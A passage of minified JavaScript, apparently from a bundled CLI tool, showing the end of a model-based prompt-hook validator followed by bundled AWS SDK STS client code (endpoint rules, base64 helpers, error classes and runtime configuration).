0,isNonInteractiveSession:!0,hasAppendSystemPrompt:!1,agents:[],querySource:"hook_prompt",mcpTools:[],agentId:w.agentId,outputFormat:{type:"json_schema",schema:{type:"object",properties:{ok:{type:"boolean"},reason:{type:"string"}},required:["ok"],additionalProperties:!1}}}});clearTimeout(W),j();let P=M.message.content.filter((C)=>C.type==="text").map((C)=>C.text).join("");w.setResponseLength((C)=>C+P.length);let f=P.trim();h(`Hooks: Model response: ${f}`);let N=P3(f);if(!N)return h(`Hooks: error parsing response as JSON: ${f}`),{hook:A,outcome:"non_blocking_error",message:PK({type:"hook_non_blocking_error",hookName:K,toolUseID:O,hookEvent:q,stderr:"JSON validation failed",stdout:f,exitCode:1})};let T=VmA.safeParse(N);if(!T.success)return h(`Hooks: model response does not conform to expected schema: ${T.error.message}`),{hook:A,outcome:"non_blocking_error",message:PK({type:"hook_non_blocking_error",hookName:K,toolUseID:O,hookEvent:q,stderr:`Schema validation failed: ${T.error.message}`,stdout:f,exitCode:1})};if(!T.data.ok)return h(`Hooks: Prompt hook condition was not met: ${T.data.reason}`),{hook:A,outcome:"blocking",blockingError:{blockingError:`Prompt hook condition was not met: ${T.data.reason}`,command:A.prompt},preventContinuation:!0,stopReason:T.data.reason};return h("Hooks: Prompt hook condition was met"),{hook:A,outcome:"success",message:PK({type:"hook_success",hookName:K,toolUseID:O,hookEvent:q,content:"Condition met"})}}catch(M){if(clearTimeout(W),j(),D.aborted)return{hook:A,outcome:"cancelled"};throw M}}catch(X){let $=X instanceof Error?X.message:String(X);return h(`Hooks: Prompt hook error: ${$}`),{hook:A,outcome:"non_blocking_error",message:PK({type:"hook_non_blocking_error",hookName:K,toolUseID:O,hookEvent:q,stderr:`Error executing prompt hook: ${$}`,stdout:"",exitCode:1})}}}var xP7=k(()=>{Z1();$8();sz();K7();jmA();Jz();sD();Xw();_G1()});var oP6=v((nyY)=>{nyY.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(nyY.HttpAuthLocation||(nyY.HttpAuthLocation={}));nyY.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(nyY.HttpApiKeyAuthLocation||(nyY.HttpApiKeyAuthLocation={}));nyY.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(nyY.EndpointURLScheme||(nyY.EndpointURLScheme={}));nyY.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(nyY.AlgorithmId||(nyY.AlgorithmId={}));var pyY=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>nyY.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>nyY.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},dyY=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},cyY=(A)=>{return pyY(A)},lyY=(A)=>{return dyY(A)};nyY.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(nyY.FieldPosition||(nyY.FieldPosition={}));var iyY="__smithy_context";nyY.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(nyY.IniSectionType||(nyY.IniSectionType={}));nyY.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(nyY.RequestHandlerProtocol||(nyY.RequestHandlerProtocol={}));nyY.SMITHY_CONTEXT_KEY=iyY;nyY.getDefaultClientConfiguration=cyY;nyY.resolveDefaultRuntimeConfig=lyY});var tqA=v((RWA)=>{var mP7=Fb(),AV6=VV(),sP6=oP6(),syY=DJ(),uP7=PV();class gP7{config;middlewareStack=mP7.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var aP6="***SensitiveInformation***";function tP6(A,K){if(K==null)return K;let q=syY.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return aP6;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return aP6}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return aP6}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=tP6(H,Y[w]);return z}return K}class KV6{middlewareStack=mP7.constructStack();schema;static classBuilder(){return new FP7}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[sP6.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class FP7{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends KV6{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?tP6.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?tP6.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var tyY="***SensitiveInformation***",eyY=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class LWA extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return LWA.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===LWA)return LWA.isInstance(A);if(LWA.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var QP7=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},UP7=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=KIY(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw QP7(H,K)},AIY=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{UP7({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},KIY=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),qIY=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},BP7=!1,YIY=(A)=>{if(A&&!BP7&&parseInt(A.substring(1,A.indexOf(".")))<16)BP7=!0},zIY=(A)=>{let K=[];for(let q in sP6.AlgorithmId){let Y=sP6.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},wIY=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},HIY=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},JIY=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},pP7=(A)=>{return Object.assign(zIY(A),HIY(A))},OIY=pP7,XIY=(A)=>{return Object.assign(wIY(A),JIY(A))},$IY=(A)=>Array.isArray(A)?A:[A],dP7=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=dP7(A[q]);return A},_IY=(A)=>{return A!=null};class cP7{trace(){}debug(){}info(){}warn(){}error(){}}function lP7(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,WIY(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}iP7(Y,null,w,H)}return Y}var GIY=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},ZIY=(A,K)=>{let q={};for(let Y in K)iP7(q,A,K,Y);return q},WIY=(A,K,q)=>{return lP7(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},iP7=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=DIY,O=jIY,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},DIY=(A)=>A!=null,jIY=(A)=>A,MIY=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},PIY=(A)=>A.toISOString().replace(".000Z","Z"),eP6=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(eP6);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=eP6(A[q])}return K}return A};Object.defineProperty(RWA,"collectBody",{enumerable:!0,get:function(){return AV6.collectBody}});Object.defineProperty(RWA,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return AV6.extendedEncodeURIComponent}});Object.defineProperty(RWA,"resolvedPath",{enumerable:!0,get:function(){return AV6.resolvedPath}});RWA.Client=gP7;RWA.Command=KV6;RWA.NoOpLogger=cP7;RWA.SENSITIVE_STRING=tyY;RWA.ServiceException=LWA;RWA._json=eP6;RWA.convertMap=GIY;RWA.createAggregatedClient=eyY;RWA.decorateServiceException=QP7;RWA.emitWarningIfUnsupportedVersion=YIY;RWA.getArrayIfSingleItem=$IY;RWA.getDefaultClientConfiguration=OIY;RWA.getDefaultExtensionConfiguration=pP7;RWA.getValueFromTextNode=dP7;RWA.isSerializableHeaderValue=_IY;RWA.loadConfigsForDefaultMode=qIY;RWA.map=lP7;RWA.resolveDefaultRuntimeConfig=XIY;RWA.serializeDateTime=PIY;RWA.serializeFloat=MIY;RWA.take=ZIY;RWA.throwDefaultError=UP7;RWA.withBaseException=AIY;Object.keys(uP7).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(RWA,A))Object.defineProperty(RWA,A,{enumerable:!0,get:function(){return uP7[A]}})})});var YV6=v((rP7)=>{Object.defineProperty(rP7,"__esModule",{value:!0});rP7.resolveHttpAuthSchemeConfig=rP7.resolveStsAuthConfig=rP7.defaultSTSHttpAuthSchemeProvider=rP7.defaultSTSHttpAuthSchemeParametersProvider=void 0;var pIY=aw(),qV6=WD(),dIY=zV6(),cIY=async(A,K,q)=>{return{operation:(0,qV6.getSmithyContext)(K).operation,region:await(0,qV6.normalizeProvider)(A.region)()||(()=>{throw Error("expected `region` to be configured for `aws.auth#sigv4`")})()}};rP7.defaultSTSHttpAuthSchemeParametersProvider=cIY;function lIY(A){return{schemeId:"aws.auth#sigv4",signingProperties:{name:"sts",region:A.region},propertiesExtractor:(K,q)=>({signingProperties:{config:K,context:q}})}}function nP7(A){return{schemeId:"smithy.api#noAuth"}}var iIY=(A)=>{let K=[];switch(A.operation){case"AssumeRoleWithSAML":{K.push(nP7(A));break}case"AssumeRoleWithWebIdentity":{K.push(nP7(A));break}default:K.push(lIY(A))}return K};rP7.defaultSTSHttpAuthSchemeProvider=iIY;var nIY=(A)=>Object.assign(A,{stsClientCtor:dIY.STSClient});rP7.resolveStsAuthConfig=nIY;var rIY=(A)=>{let K=rP7.resolveStsAuthConfig(A),q=(0,pIY.resolveAwsSdkSigV4Config)(K);return Object.assign(q,{authSchemePreference:(0,qV6.normalizeProvider)(A.authSchemePreference??[])})};rP7.resolveHttpAuthSchemeConfig=rIY});var wV6=v((sP7)=>{Object.defineProperty(sP7,"__esModule",{value:!0});sP7.commonParams=sP7.resolveClientEndpointParameters=void 0;var sIY=(A)=>{return Object.assign(A,{useDualstackEndpoint:A.useDualstackEndpoint??!1,useFipsEndpoint:A.useFipsEndpoint??!1,useGlobalEndpoint:A.useGlobalEndpoint??!1,defaultSigningName:"sts"})};sP7.resolveClientEndpointParameters=sIY;sP7.commonParams={UseGlobalEndpoint:{type:"builtInParams",name:"useGlobalEndpoint"},UseFIPS:{type:"builtInParams",name:"useFipsEndpoint"},Endpoint:{type:"builtInParams",name:"endpoint"},Region:{type:"builtInParams",name:"region"},UseDualStack:{type:"builtInParams",name:"useDualstackEndpoint"}}});var eP7=v((BJH,eIY)=>{eIY.exports={name:"@aws-sdk/client-sts",description:"AWS SDK for JavaScript Sts Client for Node.js, Browser and React Native",version:"3.936.0",scripts:{build:"concurrently 'yarn:build:cjs' 'yarn:build:es' 'yarn:build:types'","build:cjs":"node ../../scripts/compilation/inline client-sts","build:es":"tsc -p tsconfig.es.json","build:include:deps":"lerna run --scope $npm_package_name --include-dependencies build","build:types":"rimraf ./dist-types tsconfig.types.tsbuildinfo && tsc -p tsconfig.types.json","build:types:downlevel":"downlevel-dts dist-types dist-types/ts3.4",clean:"rimraf ./dist-* && rimraf *.tsbuildinfo","extract:docs":"api-extractor run --local","generate:client":"node ../../scripts/generate-clients/single-service --solo sts",test:"yarn g:vitest run","test:watch":"yarn g:vitest watch"},main:"./dist-cjs/index.js",types:"./dist-types/index.d.ts",module:"./dist-es/index.js",sideEffects:!1,dependencies:{"@aws-crypto/sha256-browser":"5.2.0","@aws-crypto/sha256-js":"5.2.0","@aws-sdk/core":"3.936.0","@aws-sdk/credential-provider-node":"3.936.0","@aws-sdk/middleware-host-header":"3.936.0","@aws-sdk/middleware-logger":"3.936.0","@aws-sdk/middleware-recursion-detection":"3.936.0","@aws-sdk/middleware-user-agent":"3.936.0","@aws-sdk/region-config-resolver":"3.936.0","@aws-sdk/types":"3.936.0","@aws-sdk/util-endpoints":"3.936.0","@aws-sdk/util-user-agent-browser":"3.936.0","@aws-sdk/util-user-agent-node":"3.936.0","@smithy/config-resolver":"^4.4.3","@smithy/core":"^3.18.5","@smithy/fetch-http-handler":"^5.3.6","@smithy/hash-node":"^4.2.5","@smithy/invalid-dependency":"^4.2.5","@smithy/middleware-content-length":"^4.2.5","@smithy/middleware-endpoint":"^4.3.12","@smithy/middleware-retry":"^4.4.12","@smithy/middleware-serde":"^4.2.6","@smithy/middleware-stack":"^4.2.5","@smithy/node-config-provider":"^4.3.5","@smithy/node-http-handler":"^4.4.5","@smithy/protocol-http":"^5.3.5","@smithy/smithy-client":"^4.9.8","@smithy/types":"^4.9.0","@smithy/url-parser":"^4.2.5","@smithy/util-base64":"^4.3.0","@smithy/util-body-length-browser":"^4.2.0","@smithy/util-body-length-node":"^4.2.1","@smithy/util-defaults-mode-browser":"^4.3.11","@smithy/util-defaults-mode-node":"^4.2.14","@smithy/util-endpoints":"^3.2.5","@smithy/util-middleware":"^4.2.5","@smithy/util-retry":"^4.2.5","@smithy/util-utf8":"^4.2.0",tslib:"^2.6.2"},devDependencies:{"@tsconfig/node18":"18.2.4","@types/node":"^18.19.69",concurrently:"7.0.0","downlevel-dts":"0.10.1",rimraf:"3.0.2",typescript:"~5.8.3"},engines:{node:">=18.0.0"},typesVersions:{"<4.0":{"dist-types/*":["dist-types/ts3.4/*"]}},files:["dist-*/**"],author:{name:"AWS SDK for JavaScript Team",url:"https://aws.amazon.com/javascript/"},license:"Apache-2.0",browser:{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.browser"},"react-native":{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.native"},homepage:"https://github.com/aws/aws-sdk-js-v3/tree/main/clients/client-sts",repository:{type:"git",url:"https://github.com/aws/aws-sdk-js-v3.git",directory:"clients/client-sts"}}});var AV7=v((KSY)=>{var ASY=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";KSY.isArrayBuffer=ASY});var JV6=v((HSY)=>{var YSY=AV7(),HV6=CA("buffer"),zSY=(A,K=0,q=A.byteLength-K)=>{if(!YSY.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return HV6.Buffer.from(A,K,q)},wSY=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?HV6.Buffer.from(A,K):HV6.Buffer.from(A)};HSY.fromArrayBuffer=zSY;HSY.fromString=wSY});var YV7=v((KV7)=>{Object.defineProperty(KV7,"__esModule",{value:!0});KV7.fromBase64=void 0;var XSY=JV6(),$SY=/^[A-Za-z0-9+/]*={0,2}$/,_SY=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!$SY.exec(A))throw TypeError("Invalid base64 string.");let K=(0,XSY.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};KV7.fromBase64=_SY});var HV7=v((zV7)=>{Object.defineProperty(zV7,"__esModule",{value:!0});zV7.toBase64=void 0;var GSY=JV6(),ZSY=_z(),WSY=(A)=>{let K;if(typeof A==="string")K=(0,ZSY.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,GSY.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};zV7.toBase64=WSY});var XV7=v((NmA)=>{var JV7=YV7(),OV7=HV7();Object.keys(JV7).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(NmA,A))Object.defineProperty(NmA,A,{enumerable:!0,get:function(){return JV7[A]}})});Object.keys(OV7).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(NmA,A))Object.defineProperty(NmA,A,{enumerable:!0,get:function(){return OV7[A]}})})});var bV7=v((SV7)=>{Object.defineProperty(SV7,"__esModule",{value:!0});SV7.ruleSet=void 0;var NV7="required",R3="type",A2="fn",K2="argv",Hs="ref",$V7=!1,OV6=!0,ws="booleanEquals",XW="stringEquals",TV7="sigv4",vV7="sts",EV7="us-east-1",SJ="endpoint",_V7="https://sts.{Region}.{PartitionResult#dnsSuffix}",ZB="tree",yWA="error",$V6="getAttr",GV7={[NV7]:!1,[R3]:"string"},XV6={[NV7]:!0,default:!1,[R3]:"boolean"},kV7={[Hs]:"Endpoint"},ZV7={[A2]:"isSet",[K2]:[{[Hs]:"Region"}]},$W={[Hs]:"Region"},WV7={[A2]:"aws.partition",[K2]:[$W],assign:"PartitionResult"},CV7={[Hs]:"UseFIPS"},LV7={[Hs]:"UseDualStack"},tD={url:"https://sts.amazonaws.com",properties:{authSchemes:[{name:TV7,signingName:vV7,signingRegion:EV7}]},headers:{}},eT={},DV7={conditions:[{[A2]:XW,[K2]:[$W,"aws-global"]}],[SJ]:tD,[R3]:SJ},RV7={[A2]:ws,[K2]:[CV7,!0]},yV7={[A2]:ws,[K2]:[LV7,!0]},jV7={[A2]:$V6,[K2]:[{[Hs]:"PartitionResult"},"supportsFIPS"]},IV7={[Hs]:"PartitionResult"},MV7={[A2]:ws,[K2]:[!0,{[A2]:$V6,[K2]:[IV7,"supportsDualStack"]}]},PV7=[{[A2]:"isSet",[K2]:[kV7]}],VV7=[RV7],fV7=[yV7],DSY={version:"1.0",parameters:{Region:GV7,UseDualStack:XV6,UseFIPS:XV6,Endpoint:GV7,UseGlobalEndpoint:XV6},rules:[{conditions:[{[A2]:ws,[K2]:[{[Hs]:"UseGlobalEndpoint"},OV6]},{[A2]:"not",[K2]:PV7},ZV7,WV7,{[A2]:ws,[K2]:[CV7,$V7]},{[A2]:ws,[K2]:[LV7,$V7]}],rules:[{conditions:[{[A2]:XW,[K2]:[$W,"ap-northeast-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"ap-south-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"ap-southeast-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"ap-southeast-2"]}],endpoint:tD,[R3]:SJ},DV7,{conditions:[{[A2]:XW,[K2]:[$W,"ca-central-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"eu-central-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"eu-north-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"eu-west-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"eu-west-2"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"eu-west-3"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"sa-east-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,EV7]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"us-east-2"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"us-west-1"]}],endpoint:tD,[R3]:SJ},{conditions:[{[A2]:XW,[K2]:[$W,"us-west-2"]}],endpoint:tD,[R3]:SJ},{endpoint:{url:_V7,properties:{authSchemes:[{name:TV7,signingName:vV7,signingRegion:"{Region}"}]},headers:eT},[R3]:SJ}],[R3]:ZB},{conditions:PV7,rules:[{conditions:VV7,error:"Invalid Configuration: FIPS and custom endpoint are not supported",[R3]:yWA},{conditions:fV7,error:"Invalid Configuration: Dualstack and custom endpoint are not supported",[R3]:yWA},{endpoint:{url:kV7,properties:eT,headers:eT},[R3]:SJ}],[R3]:ZB},{conditions:[ZV7],rules:[{conditions:[WV7],rules:[{conditions:[RV7,yV7],rules:[{conditions:[{[A2]:ws,[K2]:[OV6,jV7]},MV7],rules:[{endpoint:{url:"https://sts-fips.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:eT,headers:eT},[R3]:SJ}],[R3]:ZB},{error:"FIPS and DualStack are enabled, but this partition does not support one or both",[R3]:yWA}],[R3]:ZB},{conditions:VV7,rules:[{conditions:[{[A2]:ws,[K2]:[jV7,OV6]}],rules:[{conditions:[{[A2]:XW,[K2]:[{[A2]:$V6,[K2]:[IV7,"name"]},"aws-us-gov"]}],endpoint:{url:"https://sts.{Region}.amazonaws.com",properties:eT,headers:eT},[R3]:SJ},{endpoint:{url:"https://sts-fips.{Region}.{PartitionResult#dnsSuffix}",properties:eT,headers:eT},[R3]:SJ}],[R3]:ZB},{error:"FIPS is enabled but this partition does not support FIPS",[R3]:yWA}],[R3]:ZB},{conditions:fV7,rules:[{conditions:[MV7],rules:[{endpoint:{url:"https://sts.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:eT,headers:eT},[R3]:SJ}],[R3]:ZB},{error:"DualStack is enabled but this partition does not support DualStack",[R3]:yWA}],[R3]:ZB},DV7,{endpoint:{url:_V7,properties:eT,headers:eT},[R3]:SJ}],[R3]:ZB}],[R3]:ZB},{error:"Invalid Configuration: Missing Region",[R3]:yWA}]};SV7.ruleSet=DSY});var BV7=v((xV7)=>{Object.defineProperty(xV7,"__esModule",{value:!0});xV7.defaultEndpointResolver=void 0;var jSY=gb(),_V6=Ky(),MSY=bV7(),PSY=new _V6.EndpointCache({size:50,params:["Endpoint","Region","UseDualStack","UseFIPS","UseGlobalEndpoint"]}),VSY=(A,K={})=>{return PSY.get(A,()=>(0,_V6.resolveEndpoint)(MSY.ruleSet,{endpointParams:A,logger:K.logger}))};xV7.defaultEndpointResolver=VSY;_V6.customEndpointFunctions.aws=jSY.awsEndpointFunctions});var UV7=v((FV7)=>{Object.defineProperty(FV7,"__esModule",{value:!0});FV7.getRuntimeConfig=void 0;var fSY=aw(),NSY=eF(),TSY=Gz(),vSY=tqA(),ESY=tE(),mV7=XV7(),gV7=_z(),kSY=YV6(),CSY=BV7(),LSY=(A)=>{return{apiVersion:"2011-06-15",base64Decoder:A?.base64Decoder??mV7.fromBase64,base64Encoder:A?.base64Encoder??mV7.toBase64,disableHostPrefix:A?.disableHostPrefix??!1,endpointProvider:A?.endpointProvider??CSY.defaultEndpointResolver,extensions:A?.extensions??[],httpAuthSchemeProvider:A?.httpAuthSchemeProvider??kSY.defaultSTSHttpAuthSchemeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(K)=>K.getIdentityProvider("aws.auth#sigv4"),signer:new fSY.AwsSdkSigV4Signer},{schemeId:"smithy.api#noAuth",identityProvider:(K)=>K.getIdentityProvider("smithy.api#noAuth")||(async()=>({})),signer:new TSY.NoAuthSigner}],logger:A?.logger??new vSY.NoOpLogger,protocol:A?.protocol??new NSY.AwsQueryProtocol({defaultNamespace:"com.amazonaws.sts",xmlNamespace:"https://sts.amazonaws.com/doc/2011-06-15/",version:"2011-06-15"}),serviceId:A?.serviceId??"STS",urlParser:A?.urlParser??ESY.parseUrl,utf8Decoder:A?.utf8Decoder??gV7.fromUtf8,utf8Encoder:A?.utf8Encoder??gV7.toUtf8}};FV7.getRuntimeConfig=LSY});var rV7=v((iV7)=>{Object.defineProperty(iV7,"__esModule",{value:!0});iV7.getRuntimeConfig=void 0;var RSY=Uz(),ySY=RSY.__importDefault(eP7()),GV6=aw(),pV7=W8A(),dV7=oF(),GG1=l0(),ISY=Gz(),SSY=aF(),cV7=kZ(),eqA=NV(),lV7=zT(),hSY=sF(),bSY=db(),xSY=UV7(),uSY=tqA(),BSY=KQ(),mSY=tqA(),gSY=(A)=>{(0,mSY.emitWarningIfUnsupportedVersion)(process.version);let K=(0,BSY.resolveDefaultsModeConfig)(A),q=()=>K().then(uSY.loadConfigsForDefaultMode),Y=(0,xSY.getRuntimeConfig)(A);(0,GV6.emitWarningIfUnsupportedVersion)(process.version);let z={profile:A?.profile,logger:Y.logger};return{...Y,...A,runtime:"node",defaultsMode:K,authSchemePreference:A?.authSchemePreference??(0,eqA.loadConfig)(GV6.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS,z),bodyLengthChecker:A?.bodyLengthChecker??hSY.calculateBodyLength,credentialDefaultProvider:A?.credentialDefaultProvider??pV7.defaultProvider,defaultUserAgentProvider:A?.defaultUserAgentProvider??(0,dV7.createDefaultUserAgentProvider)({serviceId:Y.serviceId,clientVersion:ySY.default.version}),httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(w)=>w.getIdentityProvider("aws.auth#sigv4")||(async(H)=>await(0,pV7.defaultProvider)(H?.__config||{})()),signer:new 